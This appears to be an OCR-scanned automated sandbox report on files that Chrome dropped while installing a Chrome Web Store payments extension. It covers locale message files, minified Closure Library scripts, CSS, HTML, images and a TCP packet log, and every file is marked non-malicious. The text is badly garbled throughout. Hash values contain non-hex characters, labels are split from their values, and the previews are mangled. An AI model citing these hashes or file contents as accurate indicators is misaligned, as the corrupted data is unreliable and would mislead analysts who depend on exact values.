Entropy (8bit): 4.52964089437422

Encrypted: false

SSDEEP: 12:1HEJIMKbGGIMkb+WYpU340ACwz+dgNPGFZ08ZpU34JgpXLSb030yZnLAOFTYLdID: 1IHErMkagMK6WYpTOch8ZpDgdZOGAOfBY
MD5: D372B8204EB743E16F45C7CBD3CAAF37

SHAL: C96C57219D292B01016B37DCF82E7C79ADODD1ES

SHA-256: B8BA77E0089B0676545EC16D32468B727812B444F90B33A7A5B748E6C36C4388
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SHA-512:

Malicious:
Reputation:

Preview:

33640529E0D5DCC5CA4BDB0615A2818E8D26C6FCB7B3474C08AC3EB67B9DBA40E1FOA79954ED20728CD47A686D2533DCBC76ABCBDB917F8530C8DESBBAGS7
52E

false

low

{.. "app_description":{..  "message": "Betalning via Chrome Web Store".. },.. "app_name" {..  "message": "Betalning via Chrome Web Store".. },.. "craw

_app_unavailable": {..  "message": "Appen .r inte tillg.nglig f.r tillf.llet.".. },.. "craw_connect_to_network": {.. = "message": "Anslut till ett n.tverk.".. },.. "iap_unavai

lable": {..  "message": "Betalning i appen .r inte tillg.ngligt f.r n.rvarande.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be completed.".. },..
"please_sign_in": {..  "message": "Logga in i Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\th\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

945

4.801079428724355

false
24:1HEKaldDal/WYp6UFi72SmIG8ZpyactrW2SAOGAOfVSLD:WK2DNY p6U4y3bpyLxwGFW
83E2D1E97791A4B2C5C69926EFB629C9
429600425CBOF196DDD717F940E94DBD8BFF2837
2FECA577F43D97BAEEA464741D585892103585208FD0A935B810A03BDCEB3C88
60A5928DAABCB4341487F477C56B5A98B83EDESOESFAF55A802E01FDDAB86F3E795D391953D3D9214552D14D3F58C5A183693C613720FC12FC387D7B8FIBIAR

false
low
{.. "app_description":{.. = "message": "............... Chrome ......... ".. }.. "app_name":{.. "message":" Chrome ......... ".. },.. “"craw_app_unavailable™ {..
"message”: ".....ccocooeiiiiiee ".. },.. “"craw_connect_to_network™ {..  "message": "...........cccecn. ".. }.. "iap_unavailable™ {.. = "message": "...........ccccceeerrrn.
................... ".. }.. "jwt_retrieve_failed": {..  "message": "The transaction could not be completed.".. },.. “please_sign_in":{.. = "message": "................ Chrome"..
Y3

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\tr\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

631

4.710869622361971

false
12:1HEJ9Y8GGIY8+WYpU34wWT+dgGb0GO8ZpU34wryd7T030yZnLAOFTYGbPKG:1HEQJWYpyRnG8Zpyr/OGAOfFPN
2CEAE0567B6BB1D240BBAD690A98CA3B

5944346FBD4A0797B13223895995CAB58E9ECD23
A7CB86F30C9C31FE5540282C308BA96ADBAEC16EFI8C87129EB88105E5BEF5FC
108A07C6D03D7178E8DOFFEF5349E0249A898D864964FED8757BD8A08BC1C6D9613F2A6C01AA34A6606127D1C6CE14C229FA02586677DBB060B85SE3E845950E

false

low

{.. "app_description": {..  "message": "Chrome Web Ma.azas. .demeleri".. },.. “"app_name":{..  "message": "Chrome Web Ma.azas. .demeleri".. },.
pp_unavailable™ {..  "message": "Uygulama .u anda kullan.lam.yor.”.. },.. “craw_connect_to_network": {.. ~ "message": "L.tfen bir a.a ba.lan.n.".. },.. “iap_unavail
able™ {..  "message": "Uygulama ..i .demeler .u anda kullan.lamaz.".. },.. “jwt_retrieve_failed": {..  "message": "The transaction could not be completed.".. },..
"please_sign_in": {..  "message": "L.tfen Chrome'da oturum a..n.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\uk\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

720

4.977397623063544

false
12:1HEJ7WILKSIXZGG7WILKSIXZ+WYpU34zb10y2P+dgSV1EjiTO8ZpU347qtP2CTW: IHEIWEKKAUWEKK8WY pd/dTV1e8Zptq5S
ABOB56120E6B38C42CC3612BE948EF50

8B3F520E5713D9F116D68E71DAEED1F6E8D74629
68ABA284751EBIC856032062EF9B1651E2A1ESCESFDA0977FFC97D63BA7BEDYE

CD852A58217F739C1CD58567FF432D31A7AD3F68C884ABBA1DA95799BCD1545C6A5D3B06F319681C12B78AD0A709828DE4B22736316F148D21F5DB76A5BCCE
F

false

low
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Preview: {.. "app_description":{..  "message": "....... ... ET Chrome".. },.. "app_name":{.. "message":" Chrome".. },.. "craw_app_unavailable": {..
"message”: "ot v e }.. "craw_connect_to_network™ {..  "message": ".........c.c. ot ceues ".. }.. "iap_unavailable™ {..  "message": "...... ... .o seen

......... ".. }.. "jwt_retrieve_failed™: {.. "message": "The transaction could not be completed.".. },. "please_sign_in":{..  "message": "......... Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\vi\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 695

Entropy (8bit):  4.855375139026009

Encrypted: false

SSDEEP: 12:1HEIMAZISFZGGMAZISFZ+WY pU34WFHoz+dgdklzoO8ZpU34NFH0z030yZnLAOfTU:1HEI4B8WY pAKytFZ8ZpXKMOGAOfd6D

MDS5: 7EBB677FEAD8557D3676505225A7249A

SHAL: F161B4B6001AEAEAB246FF8987F4D992B48D47BE

SHA-256: 051F96ED874C11C4A13589B5F68964E4F5B03B52DDA223D56524F2CA23760C04

SHA-512: 74FD267CF7E299FB8E7054605C3F651F057F676FF865082FA24F4916755456768DBODA62DBC515D829B48AB1FOCFC8AD3E841DCBF1F194D5CB14C5335A192A0

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n".. },.. "app_name":{.. =~ "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..
},.. “"craw_app_unavailable™ {..  "message": ".ng d.ng hi.n kh.ng kh. d.ng.".. },.. “"craw_connect_to_network": {.. = "message": "Vui l.ng k.t n.i v.im.ng.".. },..
"iap_unavailable™: {.. ~ "message": "Thanh to.n trong .ng d.ng hi.n kh.ng kh. d.ng.".. },.. "“jwt_retrieve_failed": {..  "message": "The transaction could not be compl
eted.".. },.. "please_sign_in":{.. = "message": "Vuil.ng ..ng nh.p v.o Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\zh_CN\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 595

Entropy (8bit):  5.210259193489374

Encrypted: false

SSDEEP: 12:1HEJ01GGO1+WYpU34zeHz+dgfO8ZpU34YKiO030yZnLAOfTYB6EU: 1IHEPIWY plSv8Zp+JOGAOfa6U

MD5: BB73BF561BB79F89D9BF7C67C5AE5C65

SHAL: 2FADD3A1959B29C44830033A35C637D0311A8C9C

SHA-256: D804F2A040D21D7511EFD5213D8E1721D64964A1A0DBB48E21622CEEDCID967E

SHA-512: 627D44CEF1FE5C5ABD598BD47FF5E22B9EFC1CF98DDE3868FA9ES5896C134A0C9CO55AC34EDDADAES6B6690ES51AEA89965D38F770552A85C732CC796795DCE
8D2

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome .........".. .. "app_name":{..  "message": "Chrome ......... ".. }.. "craw_app_unavailable": {..  "message": "........
M. ). “craw_connect_to_network™: {..  "message": ". .. }.. ‘iap_unavailable™:{.. = "message": "............ ".. L. "jwt_retrieve_failed™: {..  "message": "The
transaction could not be completed.”.. },.. “"please_sign_in":{..  "message" "... Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\zh_TW\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 634

Entropy (8bit):  5.386215984611281

Encrypted: false

SSDEEP: 12:1HEJ2j62GG2j62+WYpU34m7T+dgc8n008ZpU34mvIO030yZnLAOFTYAUH: IHEUSZCWY psStwP8ZpROGAOFCH

MD5: 5FF50C673CC0C661D615FOCFDOEGDCAO

SHAL: 60DFF98DEAB9C4746B288BDDIC94B3BCAESEAASS

SHA-256: C6F8C640F3353A7B9B1432A0C139C1AEEC40133800E6CIB467B63991AD660308

SHA-512: 361D62D91F4931C5F34092C9F2C6A5323D5EEB82A24E7ABE11F7817D8D66341COECADADCB4B10873920C8D6A3CCIF5704889E178EB2549001A9F62BEDF6C80
9

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome ............ ". }.. "app_name": {. "message": "Chrome ............ ".. },.. "craw_app_unavailable": {.. = "message": "..
........... ".. }.. "craw_connect_to_network": {.. = "message": ".....".. },.. “iap_unavailable™ {.. "message": ".............".. },.. "jwt_retrieve_failed": {.. = "message
": "The transaction could not be completed.”.. },.. "please_sign_in":{..  "message": "... Chrome.".. }..}..
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C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_metadata\verified_contents.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

7780

5.791315351651491

false

192:RktDNJ2UzsL5KcASyoH+CouKP/INGRo/oRHMIT:AZQflcsU
0834821960CB5C6E9DA77AEF649CB2E4
7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588
52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EATF6BATF69

9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BES8B063D2ECE7CBOC84F17BB1AF3C5B1A3|
C4

false
low

[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyl6W3siY mxvY 2tfc216 ZSIGNDA5NiwiZGInZXNOljoic2hhMjU2liwiZmIsZXMiO
[t7InBhdGgiOiJfbG9jY WxlIcy9iZy9tZXNzYWdlcy5qc29uliwvicm9vdF9oY XNoljoiZHUtdGRPAUNWemxDY254Q0poRkg2NXpLUO5vh 1RIUES6bDNHbzdRMGJI3SSJ9LHS
icGF0aCl6119sh2NhbGVzL2NhL21Ic3NhZ2VzLmpzh24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWIhkckSXWHBVSHNRMGh1ZGtSM2d1QIMzb2VsTEZLNKIVInOseyJwY
XRoljoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbilsinJvb3RfaGFzaCl61k9nUkNIZIVoam9xOU93NHFfaEhvTTQxNzNMelJy YkVpUVdsRXNRSzhscFkifSx7InBhdGg
i0iJfbG9jYWxIcy9kY SOtZXNzYWdlcy5qc29uliwvicm9vdF90YXNoljoiN2JVWWI1LYKhQUUNRMXBGemUz THIYSEhwWKIXN1c2Zk5hTOlaWmdKUERTTSJ9LHsicGF0aCl6l
19sb2NhbGVzL2RIL21Ic3NhZ2VzLmpzbh24iLCJyb290X2hhc2giOiJOV3FKU3RfcINFMmMOKT2VUSUZtMOpMRmMYIOGtBZ3ZTa3RtZGpCRGJIWazdBInOseyJwYXRoljoiX2x
VY 2FsZXMvZWwvbWVzc2FnZXMuanNvbilsinJvb3RfaGFzaCl6imgyaEZ0YUJoLXJQUEtoUmO0QkFWMOVEZmhFbnh5MEIGOVhYT3Z0aHhINjAifSx7InBhdGgiOiJfbG9jY
Wxley9IbigtZXNzYWdlcy5qc29uliwicm9vdF90YXNoljoidOpSZDFmM3NXMERFVTJIHLXd

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\craw_background.js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines

dropped

544643

5.385396177420207

false

6144:abyfBNC2FRdjiRXgbe5Dg31IVIMgX+wd5/CcMMJICRULtONjy TOEZZQ+h72W3GBOn:Ft/g
6EEBED29E6A6301E92A9B8B347807F5F
65DFB69B650560551110B33DCBA50B25E5B876DE
04CD9494BOED83924DAD12202630B20D053D9E2819C8E826A386C814CCOA1697

FEDEG6DB31F2AD242E7BC7B52A8859BA7F466A0B920A8DADCB32DCFB5B2A2742E98B767FF22E0C5BC5C11FEC021240AA9E458486C9039EB4EBESCF6AF7BES
7BF2

false
low

/*.. Copyright The Closure Library Authors.. SPDX-License-ldentifier: Apache-2.0.*/.var d,e=e||{};e.scope={};e.arraylteratorimpl=function(a){var b=0;return function(){return
b<a.length?{done:!1,value:a[b++]}:{done:!0}}};e.arraylterator=function(a){return{next:e.arraylteratorimpl(a)}};e. ASSUME_ES5=!1;e. ASSUME_NO_NATIVE_MAP=!1;e.A
SSUME_NO_NATIVE_SET=!1;e.SIMPLE_FROUND_POLYFILL=!1;e.ISOLATE_POLYFILLS=!1;e.FORCE_POLYFILL_PROMISE=!1;e.FORCE_POLYFILL_P
ROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.e.defineProperty=e. ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:funct
ion(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};e.getGlobal=function(a){a=["object"==typeof globalThis&&globalThis,a,"obje
ct"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw
Error("Cannot find global object");};e.global=e.getGlobal(this);.e.IS_SYMBOL_NATIVE="func

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\craw_window.js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines

dropped

261316

5.444466092380538

false

3072:15vU71652M9dulWFCbmY J4tnFWdgpMad2vywhlp81QFvIF9InNsZgiDdOFIV/mZmc:I5vqFCh2p8Gx9FNNsZ9Dd/ceR
1709B6F00A136241185161AA3DF46A06

33DA7D262FFED1A5C2D85B7390E9DBC830CBE494
5721A4B3F8E09C869A629EFFD350B51C9D46F0AC136717D4DB6265COEE6FIACS

26835B4C050F53AD2DDB84469DFIA84BBB2786A655AB52DFC20B54BEDCB81D1ECD789198D5B7D8B940242E5CEAC818A177444D402397AE82C203438C4B1D1¢
CB

false

low
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Preview: [*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var b,k=Kk||{};k.scope={};k.createTemplateTagFirstArg=function(a){return a.raw=a};k.cre
ateTemplateTagFirstArgWithRaw=function(a,c){a.raw=c;return a};k.arraylteratorimpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:afc++]}:
{done:!0}}};k.arraylterator=function(a){return{next:k.arraylteratorimpl(a)}};k.makelterator=function(a){var c="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.itera
tor];return c?c.call(a):k.arraylterator(a)};.k.arrayFromlterator=function(a){for(var c,d=[];!(c=a.next()).done;)d.push(c.value);return d};k.arrayFromlterable=function(a){return
a instanceof Array?a:k.arrayFromlterator(k.makelterator(a))};k. ASSUME_ES5=!1;k. ASSUME_NO_NATIVE_MAP=!1;k. ASSUME_NO_NATIVE_SET=!1;k.SI
MPLE_FROUND_POLYFILL=!1;k.ISOLATE_POLYFILLS=!1;k.FORCE_POLYFILL_PROMISE=!1;k.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_RE
JECTION=!1;.k.objectCreate=k. ASSUME_ES5||"function"==typeof Object.cre

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\css\craw_window.css

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 1741

Entropy (8bit):  4.912380256743454

Encrypted: false

SSDEEP: 24:LalZ74H+rMwJIHwlodHRmxt3jiuliu1RDpfeWIMI548wIJHwWDwCapt/VMY Xj8Eq27K:Z+rMm711e88SLtWYXmrVZFH

MD5: 67BF9AABE17541852F9DDFF8245096CD

SHAL: A4ACT74DD258E8E0689034FAA1B15A5C7C56DC3BB

SHA-256: 10DFBD2D98950B79EE12F6BS8E3885AABE31543048DE56AD4FCOASE34DODIDAEC

SHA-512: 298FA132C6F122798FDBIBCEDE8024915147ADC20355B56A92FOEDIACCE4549BEGE7F42212E07DCAL66E31624D4E66E299565845D4BA1C51CA935050641B61F
Malicious: false

Reputation: low

Preview: html, body {. margin: 0;. overflow: hidden;.}..webview {. width: 100%;. height: 100%;. min-height: 100%;. position: absolute;.}...craw_overlay {. position: absolute;.. left

1 0;. top: 0;. right: 0;. bottom: 0;.. background-color: white;.. -webkit-transition: opacity 250ms linear;.. display: -webkit-flex;. -webkit-flex-direction: column;. -webkit-
flex: 1 0%;. -webkit-align-items: center;. -webkit-justify-content: center;.. -webkit-app-region: drag;.}...craw_overlay img {. margin: 16px;.}..##loading_overlay {. opacity:
1;.}..#offline_overlay {. opacity: 0;. display: none;.}..#offline_overlay > img {. -webkit-filter: saturate(0%);.}..#offline_overlay > span {. font-family: 'Open Sans', 'Deja Vu
Sans', Arial, sans-serif;. font-size: 15px;. line-height: 21px;. color: #8d8d8d;. display: block;.}..#loading_splash {. width: 128px;. height: 128px;.}..#drag_overlay {.
position: absolute;. left: 0;. top: 0;. right: 0;. bottom: 0;. pointer-events: none;. -webkit

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\html\craw_window.html

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: HTML document, ASCII text

Category: dropped

Size (bytes): 810

Entropy (8bit):  4.723481385335562

Encrypted: false

SSDEEP: 12:hYenuEJIlig5fRpvV4AEdN2sAAuzg/7TRWQULYpUHIKIRNQBGgZKy3QGgjPSWZDQL:hYeLIJKTVNEuULAuzg/twQucpS9bhj3

MD5: 34A839BC40DEBC746BBD181D9EF9310C

SHA1L: 8B4EAA74D31EED5BOBABA3CA5460201F6B10DA46

SHA-256: BB8742615E4CD996AES5D0200E443AE6AG6F0B473255F03AFFDB8FB4660DE4554D

SHA-512: EE81E5509CBC2CB2B6C834224688C1E1B1AA9AA3866C52FSEAED040D5C390653C52D8D681E2E2CF62906643962ABAC823D5B622385B983B21E0DCCAFDF2811
FF

Malicious: false

Reputation: low

Preview: <IDOCTYPE html>.<html>. <head>. <link href="/css/craw_window.css" rel="stylesheet">. <script src="/craw_window.js"></script>. </head>. <body>. <webview>

</webview>. <div class="craw_overlay" id="loading_overlay">.  <img src="/images/icon_128.png" />.  <img src="/images/flapper.gif* />. </div>. <div cl
ass="craw_overlay" id="offline_overlay">.  <img src="/images/icon_128.png" />.  <span id="app_unavailable"></span>.  <span id="connect_to_network"><
/span>. </div>. <divid="drag_overlay"></div>. <divid="top_bar">.  <div id='close_button">. <img src="/images/topbar_floating_button_close.png'/>.

</div>.  <div id="maximize_button'>. <img src="limages/topbar_floating_button_maximize.png/>.  </div>. </div>. </body>.</html>.

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\images\flapper.gif

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: GIF image data, version 89a, 30 x 30

Category: dropped

Size (bytes): 70364

Entropy (8bit):  7.119902236613185

Encrypted: false

SSDEEP: 768:g5TXOSBAgNIPMA8NcjCWAMOVFMJIEwavTeElfWupav5TXg7wV+irlPny9MTVQHydi:g5KSmilPmAhZWiMsDfWug7DmgM6HybkF

MD5: 398ABB308EEBC355DA70BCE907B22E29

SHAL: CFFB77B8A1724B8F81D98C6D6AD0071D10162252

SHA-256: 2B73533F47A99FFEA9CCA405FFAFA9CAC53623F62487AEBFBA415945120B22040

SHA-512: FC7A56FC8A61A582161874B54ADBAD30A84840190008EDBOB6FBF84F91393CA58E988E3FE446F11A0C3C691C18249B93AEC2904B3D0C4F0857D79034F662385/
Malicious: false

Reputation: low
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Preview:

GIF89a
Q.loL!AoF#9h>7.0t..%..,.@.m4..7
Eholfodbooos p—

LLNETSCAPE2.0.....,ccccvunnn 9.:.h0.bT(6.1.&..("g*k..JLL.[....0. .(:..B(.6."...Z.CUyhO.....j.C.z8..S....2.T"...Q..4 g|]$ueW.Ny
..9.:.h0.bT(6.1.&..("g*k..JLL.[....0. .(:..B(.6."...Z.CUyhO.....j.C.Z8..S....2.T"...Q..4 g[]$ueW.NyQ.loL!AoF#9h>7.0t..%..,.@.m
! 2b3..1.)..eu.Q."e.....gr.?>.s.10....@.~.Tr.[8.+.,.;..EE....S *.....

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\images\icon_128.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced

dropped

4364

7.915848007375225

false

96:YjILDJTVXUtNvX8dgh9HT6EY8nviyHG5ICRYIP: YINTfUzvX8KM+MGRSsIP
4DBC9F9E6F5A08D299BACIES4DF07694
BB38F5DE34B1EOBE1109220BA55271087A4D9EAS
91C2718DD23B4356D71F88F6146868369033291086DF327534546DFA459BEBOE
A5F2B1F47502836130D8083F757B7773C1E1CB36B76AD298CC29AB2B428C8002D2F15BD839838FC326DAC3681C2F48AB25A3E7631D33726C4B25E8EC1417091.!

false
low

...... [() 4 a
i..w38.+....Bf./.1.. .c..9.X.2...L...S@.L..m.0.>.C..L|TF.p5..f4M.,.V....8..a.<..RP.@)E,..E"...h....l...-. T. me_ [ ...
{*A....Mx.h4.h {ii.Vj?2...=/.B.FK9P..@)=R]..D".Y...2.B..x.}0...&J...2....... fO.eH....J)I.R...B... .L.I".L~mhh.R.@).FFF
~L&..~B . M...6.....]. w.e.~1$.C.R....E(%e9.,...k.@..W8......... .0..@%.~.@.S..P..... . .s.....S1..7.b..
aNE. k...3.yP.}.Ch.}.. wPELC< . TiKeiZiO oG P.A=y.J)h..@.9.-*].AU.4..F.M....y%B]+ \.~.9.......=...

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\images\icon_16.png

Process:
File Type:
Category:

Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
dropped

558

Entropy (8bit):  7.505638146035601

Encrypted: false

SSDEEP: 12:6v/7vyVgSKYsfFzXxXsrPfA+b0YX+5I0UWCQKznuow7:6yVnKYsfFzhXsrlg0Y XmgQGné

MD5: FB9C46EA81AD3E456D90D58697C12C06

SHA1L: 5FC450F7D73CCFAC8F0D818CB3392BA4D91B69DE

SHA-256: 016CA659BA080E194FBFC0929602B16506ED60AAG019FAA51410C4FD93B583ES

SHA-512: ADD810EE9EB7CAEC505B5FD90A1F184CE39D8F8C689DCC240F188FE353B9575489492E07D572A3B1C11A1555CE66AFCAS5134903E4C1AA3D54BC7C5ED3EGSE
50C

Malicious: false

Reputation: low

Preview: PNG.......IHDR................ a....IDAT8..MK.Q....... ..... F.QW....F..0.2.W..7~.....".Q..B]... .QS..M& W..b&[.....p..£.2.D$.y".........y*..\..Z..16..0R].@&.U..G.qN).t.-V* >(.N
.EpJwFk.600.]0."Y..cT..Y.Tb.'DF.d..s.Z. E..9.4._C.._..%.* .. 4.1..Y. X .R...L. .Wj+WO[].._B.K.${\.>%..........|1z W.ALX0.2;..a...".p..S..&.UXS...<..6..[..zD.._.N+W.WbM7y
€6X<..'(,=.1}.......$1..5..P... k..."..8.5.<2gSM@.....).Y.....€..|...F... LAS.... T?....M...8......... N...z....V.vd.h...C.?2.....H]..C.M....9.b......IEND.B".

Static File Info

@ No static file info

Network Behavior

Network Port Distribution
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Total Packets: 356

® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 14:56:10.161823034 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:10.161871910 CEST 443 49772 142.250.185.238 192.168.2.5

May 13, 2022 14:56:10.161963940 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:10.168919086 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:10.168956041 CEST 443 49772 142.250.185.238 192.168.2.5

May 13, 2022 14:56:10.207923889 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.207954884 CEST 443 49773 165.227.107.5 192.168.2.5

May 13, 2022 14:56:10.208040953 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.216037035 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.216063023 CEST 443 49774 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.216156960 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.217149019 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.217212915 CEST 443 49775 165.227.107.5 192.168.2.5

May 13, 2022 14:56:10.217408895 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.221352100 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.221386909 CEST 443 49776 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.221535921 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.222745895 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.222759962 CEST 443 49773 165.227.107.5 192.168.2.5

May 13, 2022 14:56:10.223238945 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.223253012 CEST 443 49774 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.223548889 CEST 443 49772 142.250.185.238 192.168.2.5

May 13, 2022 14:56:10.223881960 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.223939896 CEST 443 49775 165.227.107.5 192.168.2.5

May 13, 2022 14:56:10.226490021 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.226507902 CEST 443 49776 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.226820946 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:10.226833105 CEST 443 49772 142.250.185.238 192.168.2.5

May 13, 2022 14:56:10.227278948 CEST 443 49772 142.250.185.238 192.168.2.5

May 13, 2022 14:56:10.227416039 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:10.228173971 CEST 443 49772 142.250.185.238 192.168.2.5

May 13, 2022 14:56:10.228265047 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:10.273014069 CEST 443 49774 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.276338100 CEST 443 49776 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.283061981 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.283103943 CEST 443 49774 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.283345938 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.283390045 CEST 443 49776 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.284552097 CEST 443 49776 142.250.186.77 192.168.2.5

May 13, 2022 14:56:10.284674883 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.285027981 CEST 443 49774 142.250.186.77 192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 14:56:10.285104990 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:10.428987026 CEST 443 49773 165.227.107.5 192.168.2.5
May 13, 2022 14:56:10.429831028 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:10.452119112 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.452172995 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:10.452322960 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.452343941 CEST 443 49773 165.227.107.5 192.168.2.5
May 13, 2022 14:56:10.453658104 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:10.453798056 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:10.454276085 CEST 443 49773 165.227.107.5 192.168.2.5
May 13, 2022 14:56:10.454375029 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.250943899 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:11.251127958 CEST 443 49772 142.250.185.238 192.168.2.5
